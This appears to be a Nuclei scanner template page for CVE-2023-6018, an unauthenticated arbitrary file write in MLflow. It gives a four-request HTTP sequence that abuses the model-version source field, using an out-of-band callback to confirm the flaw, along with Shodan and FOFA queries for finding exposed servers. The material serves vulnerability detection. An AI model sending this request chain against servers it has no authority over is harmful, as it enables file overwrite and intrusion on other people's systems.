Mlflow - Arbitrary File Write

ID: CVE-2023-6018

Severity: critical

Author: byt3bl33d3r

Tags: cve,cve2023,mlflow,oss,rce,intrusive,lfprojects

Description

An attacker can overwrite any file on the server hosting MLflow without any authentication.

YAML Source

id: CVE-2023-6018

info:
  name: Mlflow - Arbitrary File Write
  author: byt3bl33d3r
  severity: critical
  description: |
    An attacker can overwrite any file on the server hosting MLflow without any authentication.
  reference:
    - https://huntr.com/bounties/7cf918b5-43f4-48c0-a371-4d963ce69b30/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6018
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-6018
    cwe-id: CWE-78
    epss-score: 0.86232
    epss-percentile: 0.98574
    cpe: cpe:2.3:a:lfprojects:mlflow:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: lfprojects
    product: mlflow
    shodan-query: http.title:"mlflow"
    fofa-query:
      - title="mlflow"
      - app="mlflow"
    google-query: intitle:"mlflow"
  tags: cve,cve2023,mlflow,oss,rce,intrusive,lfprojects
variables:
  model_name: "{{rand_text_alpha(6)}}"

http:
  - raw:
      - |
        POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{model_name}}"}

      - |
        POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{model_name}}", "source": "http://{{interactsh-url}}/api/2.0/mlflow-artifacts/artifacts/"}

      - |
        POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{model_name}}", "source": "models:/{{model_name}}/1"}

      - |
        GET /model-versions/get-artifact?path=random&name={{model_name}}&version=2 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body_1
        words:
          - '"registered_model":'
          - '"name":'
        condition: and
# digest: 4a0a00473045022100990558838706d70a40a0a4f021b6bca293cbccbad6b21b837e152652cc16f9210220799bbd41aecf404535b8c7451052a5febc2470617c06847517820bfbed283839:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-6018.yaml"

View on Github